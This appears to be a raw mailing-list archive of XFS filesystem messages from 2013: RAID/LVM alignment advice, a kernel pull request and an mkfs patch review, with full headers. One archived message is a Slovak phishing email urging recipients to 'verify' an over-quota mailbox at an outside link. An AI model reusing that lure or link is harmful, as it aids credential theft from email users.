    Nova secci=F3: =93Una imatge, un text=94. Es tracta d'una original p= roposta de =93La Lluna en un Cove=94 que pret=E9n interrelacionar dues disc= iplines art=EDstiques: la literatura i les arts pl=E0stiques. Cada mes, des= de la web oficial d=92aquesta revista, us proposem una obra gr=E0fica (que= pot ser una pintura, una fotografia, una il=B7lustraci=F3, una escultura, = etc.), i els participants, inspirant-se o basant-se en l=92obra proposada, = redacten el seu propi text i l=92envien a la nostra redacci=F3 seguint les = condicions generals de participaci=F3. Totes les obres gr=E0fiques proposad= es en aquesta secci=F3, les podreu veure en la web oficial de =93La Lluna e= n un Cove=94, dins de l=92apartat =93Una imatge, un text=94.

    --001a11c376fc07669604e76e22c9-- From ramquick@gmail.com Sat Sep 28 07:36:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.3 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLYTO, FREEMAIL_REPLYTO_END_DIGIT,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 119527F4E for ; Sat, 28 Sep 2013 07:36:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id F2D868F8035 for ; Sat, 28 Sep 2013 05:36:00 -0700 (PDT) X-ASG-Debug-ID: 1380371758-04cb6c2e9f1518ce0001-NocioJ Received: from mail-wg0-f48.google.com (mail-wg0-f48.google.com [74.125.82.48]) by cuda.sgi.com with ESMTP id pArhjjpLszyZ5zHq (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 28 Sep 2013 05:35:59 -0700 (PDT) X-Barracuda-Envelope-From: ramquick@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.48 Received: by mail-wg0-f48.google.com with SMTP id n12so3733023wgh.3 for ; Sat, 28 Sep 2013 05:35:58 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:date:message-id:subject:from:to:content-type; bh=00Ik5ir/TdYB8+m5BAcyiNOdQAZ1+dQTBfjPR3Ef+YI=; b=Vxh7jQM119SIjdKZS4zwRhkC5hax0Uov2cLaKZg1NcMFAE2vwO763KLwReoi0zhW3b +j7w183D5+8x3VY+yBm7/OuXiZPCWD0pa/yrGpY33PE/s52UY87MtFRa/oDzez393oea mHh3MiFjAvLMyW8ZZ95p6nWbZw7DUtRXAIUb6XwRnF8T2/RgPX9LE0w7QIxzKtuVszPG uxhpe+BS7pDvAtHvHzUAYEz6tLZIRMbtSuMKp8zw8TW6QOZHhTK7I5fBamm4zgiYr5Yj 26/qCusOce51kH/2TM24Xkk5Zddr3I4mNEDsNIcok4FWAx6GXaiVLQz+2DA7e6EiqXJw CSsg== MIME-Version: 1.0 X-Received: by 10.194.93.3 with SMTP id cq3mr9971494wjb.26.1380371758294; Sat, 28 Sep 2013 05:35:58 -0700 (PDT) Received: by 10.194.37.10 with HTTP; Sat, 28 Sep 2013 05:35:58 -0700 (PDT) Reply-To: ram_chander250@yahoo.com Date: Sat, 28 Sep 2013 18:05:58 +0530 Message-ID: Subject: Xfs options for small files From: Ram Chander X-ASG-Orig-Subj: Xfs options for small files To: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=047d7bb048224fad2004e770d866 X-Barracuda-Connect: mail-wg0-f48.google.com[74.125.82.48] X-Barracuda-Start-Time: 1380371759 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140999 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --047d7bb048224fad2004e770d866 Content-Type: text/plain; charset=ISO-8859-1 Hi, I have millions of small files of size ranging 2kb - 50kb stored in hundreds of dir. Total size is around 2Tb. Xfs runs on top of LVM. Existing files wont grown and wont be overwritten. Lots of new small files will be created and there will be lot of read operations. Can someone shed light on optimal format options and mount options. Many thanks . Regards, Ram --047d7bb048224fad2004e770d866 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    Hi,

    I have millions = of small files of size ranging 2kb - 50kb=A0 stored in hundreds of dir.
    =
    Total size is around 2Tb.=A0 Xfs runs on top of LVM.=A0 Existing= files wont grown and wont be overwritten.
    Lots of new small files will be created and there will be lot=A0 of read op= erations.

    Can someone shed light on optimal=A0 form= at options and mount options.
    Many=A0 thanks .


    R= egards,
    Ram
    --047d7bb048224fad2004e770d866-- From stan@hardwarefreak.com Sat Sep 28 09:54:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 18F4F7F4E for ; Sat, 28 Sep 2013 09:54:33 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9E337AC005 for ; Sat, 28 Sep 2013 07:54:29 -0700 (PDT) X-ASG-Debug-ID: 1380380068-04cbb02c3a1518e30001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id C5oGGSmZoxKX152C for ; Sat, 28 Sep 2013 07:54:28 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id F13116C162; Sat, 28 Sep 2013 09:54:27 -0500 (CDT) Message-ID: <5246EDA4.3040300@hardwarefreak.com> Date: Sat, 28 Sep 2013 09:54:28 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Stewart Webb CC: Chris Murphy , "xfs@oss.sgi.com" Subject: Re: xfs hardware RAID alignment over linear lvm References: <52435327.9080607@hardwarefreak.com> <2F959FD9-EF28-4495-9D0B-59B93D89C820@colorremedies.com> <20130925215713.GH26872@dastard> <5243FCD6.4000701@hardwarefreak.com> <20130926215806.GQ26872@dastard> <5244DB1B.7000908@hardwarefreak.com> <524583A4.9050207@hardwarefreak.com> X-ASG-Orig-Subj: Re: xfs hardware RAID alignment over linear lvm In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1380380068 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 9/27/2013 8:29 AM, Stewart Webb wrote: > Hi Stan, > > Apologies for not directly answering - No problem, sorry for the late reply. > I was aiming at filling gaps in my knowledge that I could not find in the > xfs.org wiki. Hopefully this is occurring. :) > My workload for the storage is mainly reads of single large files (ranging > for 20GB to 100GB each) > These reads are mainly linear (video playback, although not always as the > end user may be jumping to different points in the video) > There are concurrent reads required, estimated at 2 to 8, any more would be > a bonus. This is the type of workload Dave described previously that should exhibit an increase in read performance if the files are written with alignment, especially with concurrent readers, which you describe as 2-8, maybe more. The number of "maybe more" is dictated by whether you're aligned. I.e. with alignment your odds of successfully serving more readers is much greater. Thus, if you need to stitch arrays together with LVM concatenation, you'd definitely benefit from making the geometry of all arrays identical, and aligning the filesystem to that geometry. I.e. same number of disks, same RAID level, same RAID stripe unit (data per non parity disk), and stripe width (#non parity disks). > The challenge of this would be that the reads need to be "real-time" > operations as they are interacted with by a person, and each > read operation would have to consistently have a low latency and obtain > speeds of over 50Mb/s > > Disk write speeds are not *as* important for me - as they these files are > copied to location before they are required (in this case > using rsync or scp) and these operations do not require as much "real-time" > interaction. > > > On 27 September 2013 14:09, Stan Hoeppner wrote: > >> On 9/27/2013 7:23 AM, Stewart Webb wrote: >>>> Right, and it does so not only to improve write performance, but to >>>> also maximise sequential read performance of the data that is >>>> written, especially when multiple files are being read >>>> simultaneously and IO latency is important to keep low (e.g. >>>> realtime video ingest and playout). >>> >>> So does this mean that I should avoid having devices in RAID with a >>> differing amount of spindles (or non-parity disks) >>> If I would like to use Linear concatenation LVM? Or is there a best >>> practice if this instance is not >>> avoidable? >> >> Above, Dave was correcting my oversight, not necessarily informing you, >> per se. It seems clear from your follow up question that you didn't >> really grasp what he was saying. Let's back up a little bit. >> >> What you need to concentrate on right now is the following which we >> stated previously in the thread, but which you did not reply to: >> >>>>>> What really makes a difference as to whether alignment will be of >>>>>> benefit to you, and how often, is your workload. So at this point, >> you >>>>>> need to describe the primary workload(s) of your systems we're >>>> discussing. >>>>> >>>>> Yup, my thoughts exactly... >> >> This means you need to describe in detail how you are writing your >> files, and how you are reading them back. I.e. what application are you >> using, what does it do, etc. You stated IIRC that your workload is 80% >> read. What types of files is it reading? Small, large? Is it reading >> multiple files in parallel? How are these files originally written >> before being read? Etc, etc. >> >> You may not understand why this is relevant, but it is the only thing >> that is relevant, at this point. Spindles, RAID level, alignment, no >> alignment...none of this matters if it doesn't match up with how your >> application(s) do their IO. >> >> Rule #1 of storage architecture: Always build your storage stack (i.e. >> disks, controller, driver, filesystem, etc) to fit the workload(s), not >> the other way around. >> >>> >>> On 27 September 2013 02:10, Stan Hoeppner >> wrote: >>> >>>> On 9/26/2013 4:58 PM, Dave Chinner wrote: >>>>> On Thu, Sep 26, 2013 at 04:22:30AM -0500, Stan Hoeppner wrote: >>>>>> On 9/26/2013 3:55 AM, Stewart Webb wrote: >>>>>>> Thanks for all this info Stan and Dave, >>>>>>> >>>>>>>> "Stripe size" is a synonym of XFS sw, which is su * #disks. This is >>>> the >>>>>>>> amount of data written across the full RAID stripe (excluding >> parity). >>>>>>> >>>>>>> The reason I stated Stripe size is because in this instance, I have >>>> 3ware >>>>>>> RAID controllers, which refer to >>>>>>> this value as "Stripe" in their tw_cli software (god bless >>>> manufacturers >>>>>>> renaming everything) >>>>>>> >>>>>>> I do, however, have a follow-on question: >>>>>>> On other systems, I have similar hardware: >>>>>>> 3x Raid Controllers >>>>>>> 1 of them has 10 disks as RAID 6 that I would like to add to a >> logical >>>>>>> volume >>>>>>> 2 of them have 12 disks as a RAID 6 that I would like to add to the >>>> same >>>>>>> logical volume >>>>>>> >>>>>>> All have the same "Stripe" or "Strip Size" of 512 KB >>>>>>> >>>>>>> So if I where going to make 3 seperate xfs volumes, I would do the >>>>>>> following: >>>>>>> mkfs.xfs -d su=512k sw=8 /dev/sda >>>>>>> mkfs.xfs -d su=512k sw=10 /dev/sdb >>>>>>> mkfs.xfs -d su=512k sw=10 /dev/sdc >>>>>>> >>>>>>> I assume, If I where going to bring them all into 1 logical volume, >> it >>>>>>> would be best placed to have the sw value set >>>>>>> to a value that is divisible by both 8 and 10 - in this case 2? >>>>>> >>>>>> No. In this case you do NOT stripe align XFS to the storage, because >>>>>> it's impossible--the RAID stripes are dissimilar. In this case you >> use >>>>>> the default 4KB write out, as if this is a single disk drive. >>>>>> >>>>>> As Dave stated, if you format a concatenated device with XFS and you >>>>>> desire to align XFS, then all constituent arrays must have the same >>>>>> geometry. >>>>>> >>>>>> Two things to be aware of here: >>>>>> >>>>>> 1. With a decent hardware write caching RAID controller, having XFS >>>>>> alined to the RAID geometry is a small optimization WRT overall write >>>>>> performance, because the controller is going to be doing the >> optimizing >>>>>> of final writeback to the drives. >>>>>> >>>>>> 2. Alignment does not affect read performance. >>>>> >>>>> Ah, but it does... >>>>> >>>>>> 3. XFS only performs aligned writes during allocation. >>>>> >>>>> Right, and it does so not only to improve write performance, but to >>>>> also maximise sequential read performance of the data that is >>>>> written, especially when multiple files are being read >>>>> simultaneously and IO latency is important to keep low (e.g. >>>>> realtime video ingest and playout). >>>> >>>> Absolutely correct, as Dave always is. As my workloads are mostly >>>> random, as are those of others I consult in other fora, I sometimes >>>> forget the [multi]streaming case. Which is not good, as many folks >>>> choose XFS specifically for [multi]streaming workloads. My remarks to >>>> this audience should always reflect that. Apologies for my oversight on >>>> this occasion. >>>> >>>>>> What really makes a difference as to whether alignment will be of >>>>>> benefit to you, and how often, is your workload. So at this point, >> you >>>>>> need to describe the primary workload(s) of your systems we're >>>> discussing. >>>>> >>>>> Yup, my thoughts exactly... >>>>> >>>>> Cheers, >>>>> >>>>> Dave. >>>>> >>>> >>>> -- >>>> Stan From agrobak@kios.sk Sat Sep 28 10:22:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 72E6029DFC for ; Sat, 28 Sep 2013 10:22:52 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0BCF1AC006 for ; Sat, 28 Sep 2013 08:22:51 -0700 (PDT) X-ASG-Debug-ID: 1380381768-04bdf02f22157c350001-w1Z2WR Received: from lilu.kios.sk (mail4.kios.sk [213.151.247.26]) by cuda.sgi.com with ESMTP id q0hTGM1Us0SGbI3A (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 28 Sep 2013 08:22:50 -0700 (PDT) X-Barracuda-Envelope-From: agrobak@kios.sk X-Barracuda-Apparent-Source-IP: 213.151.247.26 Received: from lilu.kios.sk (localhost [127.0.0.1]) by lilu.kios.sk (Postfix) with ESMTP id 6E2696A6EC1; Sat, 28 Sep 2013 17:22:27 +0200 (CEST) X-Virus-Scanned: amavisd-new at lilu.kios.sk Received: from lilu.kios.sk ([127.0.0.1]) by lilu.kios.sk (lilu.kios.sk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id MxGHv-6tgzuX; Sat, 28 Sep 2013 17:22:27 +0200 (CEST) Received: from mail4.kios.sk (localhost [127.0.0.1]) by lilu.kios.sk (Postfix) with ESMTP id 08C746A6E8F; Sat, 28 Sep 2013 17:22:13 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Date: Sat, 28 Sep 2013 08:22:13 -0700 From: agrobak@kios.sk To: undisclosed-recipients:; Subject: =?UTF-8?Q?V=C3=A1=C5=BEen=C3=AD=20E-mail=20u=C5=BE=C3=ADvate?= =?UTF-8?Q?=C4=BEa=3B?= Message-ID: <634f73fafafbfba4bfcc24d7cc387cb8@kios.sk> X-ASG-Orig-Subj: =?UTF-8?Q?V=C3=A1=C5=BEen=C3=AD=20E-mail=20u=C5=BE=C3=ADvate?= =?UTF-8?Q?=C4=BEa=3B?= X-Sender: agrobak@kios.sk User-Agent: Roundcube Webmail/0.9.2 X-Barracuda-Connect: mail4.kios.sk[213.151.247.26] X-Barracuda-Start-Time: 1380381769 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.50 X-Barracuda-Spam-Status: No, SCORE=2.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA074, BSF_SC3_MV0164, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141002 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.50 BSF_SC0_SA074 URI: Custom Rule SA074 2.00 BSF_SC3_MV0164 Custom rule MV0164 -- Vážení E-mail užívateľa; Prekročili ste 23432 boxy nastaviť svoje Webová služba / Administrátor, a budete mať problémy pri odosielaní a prijímať e-maily, kým znova overiť. Musíte aktualizovať kliknutím na odkaz nižšie a vyplňte údaje pre overenie vášho účtu Prosím, kliknite na odkaz nižšie alebo skopírovať vložiť do e-prehliadač pre overenie Schránky. http://webmailupdateonline22133.jimdo.com/ Pozor! Ak tak neurobíte, budú mať obmedzený prístup k e-mailu schránky. Ak sa nepodarí aktualizovať svoj ​​účet do troch dní od aktualizácie oznámenia, bude váš účet natrvalo uzavretá. S pozdravom, System Administrator ® From bpm@sgi.com Sat Sep 28 10:33:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 35ED329DFB for ; Sat, 28 Sep 2013 10:33:17 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 974B5AC007; Sat, 28 Sep 2013 08:33:16 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 09D864266DC; Sat, 28 Sep 2013 10:33:16 -0500 (CDT) To: torvalds@linux-foundation.org Subject: [GIT PULL] XFS fixes for 3.12-rc3 Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Message-Id: <20130928153316.09D864266DC@whiskey.americas.sgi.com> Date: Sat, 28 Sep 2013 10:33:16 -0500 (CDT) From: bpm@sgi.com (Ben Myers) Hi Linus, Please pull these bugfixes for xfs. There is a fix for an assert caused by a spurious directory block collapse, a fix for recovery of a block over stale metadata from a previous mkfs, a cleanup for the eofblocks ioctl, and fixes for locking issues in xfs_inode_free and log item removal from the active item list. Thanks, Ben The following changes since commit 272b98c6455f00884f0350f775c5342358ebb73f: Linux 3.12-rc1 (2013-09-16 16:17:51 -0400) are available in the git repository at: git://oss.sgi.com/xfs/xfs tags/xfs-for-linus-v3.12-rc3 for you to fetch changes up to 997def25e4b9cee3b01609e18a52f926bca8bd2b: xfs: fix node forward in xfs_node_toosmall (2013-09-26 10:38:17 -0500) ---------------------------------------------------------------- xfs: bugfixes for 3.12-rc3 - fix for directory node collapse regression - fix for recovery over stale on disk structures - fix for eofblocks ioctl - fix asserts in xfs_inode_free - lock the ail before removing an item from it ---------------------------------------------------------------- Dave Chinner (4): xfs: lock the AIL before removing the buffer item xfs: asserting lock not held during freeing not valid xfs: fix XFS_IOC_FREE_EOFBLOCKS definition xfs: log recovery lsn ordering needs uuid check Mark Tinguely (1): xfs: fix node forward in xfs_node_toosmall fs/xfs/xfs_buf_item.c | 1 + fs/xfs/xfs_da_btree.c | 5 ++-- fs/xfs/xfs_fs.h | 2 +- fs/xfs/xfs_icache.c | 9 +++--- fs/xfs/xfs_log_recover.c | 73 ++++++++++++++++++++++++++++++++++++++---------- 5 files changed, 68 insertions(+), 22 deletions(-) From zhong@linux.vnet.ibm.com Sun Sep 29 01:45:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 51A817F4E for ; Sun, 29 Sep 2013 01:45:18 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E4A31AC002 for ; Sat, 28 Sep 2013 23:45:14 -0700 (PDT) X-ASG-Debug-ID: 1380437112-04bdf02f2215ae440001-NocioJ Received: from e23smtp01.au.ibm.com (e23smtp01.au.ibm.com [202.81.31.143]) by cuda.sgi.com with ESMTP id Bg3CSOPDATYaO7Ri (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 28 Sep 2013 23:45:13 -0700 (PDT) X-Barracuda-Envelope-From: zhong@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 202.81.31.143 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.143] Received: from /spool/local by e23smtp01.au.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Sun, 29 Sep 2013 16:45:09 +1000 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.143] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.143] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.143] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.143] Received: from d23dlp01.au.ibm.com (202.81.31.203) by e23smtp01.au.ibm.com (202.81.31.207) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Sun, 29 Sep 2013 16:45:08 +1000 Received: from d23relay03.au.ibm.com (d23relay03.au.ibm.com [9.190.235.21]) by d23dlp01.au.ibm.com (Postfix) with ESMTP id B90A52CE8051 for ; Sun, 29 Sep 2013 16:45:04 +1000 (EST) Received: from d23av02.au.ibm.com (d23av02.au.ibm.com [9.190.235.138]) by d23relay03.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r8T6ira710944810 for ; Sun, 29 Sep 2013 16:44:53 +1000 Received: from d23av02.au.ibm.com (localhost [127.0.0.1]) by d23av02.au.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id r8T6j43T008275 for ; Sun, 29 Sep 2013 16:45:04 +1000 Received: from [9.123.210.162] (thinkpad-t5421.cn.ibm.com [9.123.210.162]) by d23av02.au.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id r8T6j1lV008161 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Sun, 29 Sep 2013 16:45:03 +1000 Message-ID: <1380437101.3811.5.camel@ThinkPad-T5421> Subject: Re: [PATCH] xfsprogs: make log/size consistent for mkfs's -s option From: Li Zhong X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: make log/size consistent for mkfs's -s option To: Eric Sandeen Cc: xfsprogs Date: Sun, 29 Sep 2013 14:45:01 +0800 In-Reply-To: <5245C07A.3000700@sandeen.net> References: <1380272973.2836.5.camel@ThinkPad-T5421> <5245C07A.3000700@sandeen.net> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13092906-1618-0000-0000-000004B4D169 X-Barracuda-Connect: e23smtp01.au.ibm.com[202.81.31.143] X-Barracuda-Start-Time: 1380437112 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, 2013-09-27 at 12:29 -0500, Eric Sandeen wrote: > On 9/27/13 4:09 AM, Li Zhong wrote: > > It seems using -s log is not able to set the sectsz correctly. Because slflag > > is set but ignored by later codes, so the advertised sector size of the device > > is used instead. > > (below is just musing about this in general, skip down to the patch for one > flaw, I think). > > One wonders why it was originally written to accept both, in the first place :( > > And looking at git history, checking only ssflag later was my mistake. :( > > by the time we're done with getopt, we've got both sectorsize and sectorlog > set anyway, and we know if it was specified on the commandline. Maybe we should > just set them both right after getopt, like: > > /* > * Later code wants to know if the user manually set a value. > * There are two ways to specify on the cmdline; as size or as a log. > * if either was used, set both flags - from here on it simply means > * "manually set" > */ > > if (ssflag || slflag) > ssflag = slflag = 1; > I think it is better, after this is done, later code could use one *sflag to check whether the value is manually set. I will give it a try. > > Anyway, other than one problem below, I think this is ok to solve this > particular problem. The others, at least nsflag/nlflag, isflag/ilflag, > and bsflag/blflag all look ok. > > I just wonder if we need to re-think how this is handled in general, > so for all of the various (size=|log=) type options, we don't have to > keep remembering to check both flags. > > (mkfs.xfs is so crufty :( ) > > > $ mkfs.xfs -f -s size=4096 /dev/sdd > > meta-data=/dev/sdd isize=256 agcount=2, agsize=4096 blks > > = sectsz=4096 attr=2, projid32bit=1 > > ...... > > > > $ mkfs.xfs -f -s log=12 /dev/sdd > > meta-data=/dev/sdd isize=256 agcount=2, agsize=4096 blks > > = sectsz=2048 attr=2, projid32bit=1 > > ...... > > > > Signed-off-by: Li Zhong > > --- > > mkfs/xfs_mkfs.c | 6 +++--- > > 1 file changed, 3 insertions(+), 3 deletions(-) > > > > diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c > > index eafbed3..9243044 100644 > > --- a/mkfs/xfs_mkfs.c > > +++ b/mkfs/xfs_mkfs.c > > @@ -1693,7 +1693,7 @@ main( > > * ft.sectoralign will never be set. > > */ > > sectorsize = blocksize; > > - } else if (!ssflag) { > > + } else if (!ssflag && !slflag) { > > /* > > * Unless specified manually on the command line use the > > * advertised sector size of the device. We use the physical > > @@ -1721,7 +1721,7 @@ _("switching to logical sector size %d\n"), > > } > > } > > > > - if (ft.sectoralign || !ssflag) { > > + if (ft.sectoralign || !ssflag || !slflag) { > > Shouldn't this be: > > if (ft.sectoralign || (!ssflag && !slflag)) { > > ? Because today only one or the other can be set; !ssflag || !slflag will always be true I think. Sorry, it's my mistake... I'll update it and give a v2. Thanks, Zhong > > Thanks, > -Eric > > > sectorlog = libxfs_highbit32(sectorsize); > > if (loginternal) { > > lsectorsize = sectorsize; > > @@ -1731,7 +1731,7 @@ _("switching to logical sector size %d\n"), > > > > if (sectorsize < XFS_MIN_SECTORSIZE || > > sectorsize > XFS_MAX_SECTORSIZE || sectorsize > blocksize) { > > - if (ssflag) > > + if (ssflag || slflag) > > fprintf(stderr, _("illegal sector size %d\n"), sectorsize); > > else > > fprintf(stderr, > > > From zhong@linux.vnet.ibm.com Sun Sep 29 01:50:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 16AEE7F4E for ; Sun, 29 Sep 2013 01:50:52 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E75DF8F8033 for ; Sat, 28 Sep 2013 23:50:51 -0700 (PDT) X-ASG-Debug-ID: 1380437448-04cb6c35011dfba0001-NocioJ Received: from e23smtp09.au.ibm.com (e23smtp09.au.ibm.com [202.81.31.142]) by cuda.sgi.com with ESMTP id mG4D41ukIWq9D0Ra (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 28 Sep 2013 23:50:50 -0700 (PDT) X-Barracuda-Envelope-From: zhong@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 202.81.31.142 Received: from /spool/local by e23smtp09.au.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Sun, 29 Sep 2013 16:50:47 +1000 Received: from d23dlp01.au.ibm.com (202.81.31.203) by e23smtp09.au.ibm.com (202.81.31.206) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Sun, 29 Sep 2013 16:50:45 +1000 Received: from d23relay04.au.ibm.com (d23relay04.au.ibm.com [9.190.234.120]) by d23dlp01.au.ibm.com (Postfix) with ESMTP id 12DA12CE8051 for ; Sun, 29 Sep 2013 16:50:45 +1000 (EST) Received: from d23av01.au.ibm.com (d23av01.au.ibm.com [9.190.234.96]) by d23relay04.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r8T6Y0Y661276292 for ; Sun, 29 Sep 2013 16:34:00 +1000 Received: from d23av01.au.ibm.com (localhost [127.0.0.1]) by d23av01.au.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id r8T6oihS027106 for ; Sun, 29 Sep 2013 16:50:44 +1000 Received: from [9.123.210.162] (thinkpad-t5421.cn.ibm.com [9.123.210.162]) by d23av01.au.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id r8T6ogBK027070 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA 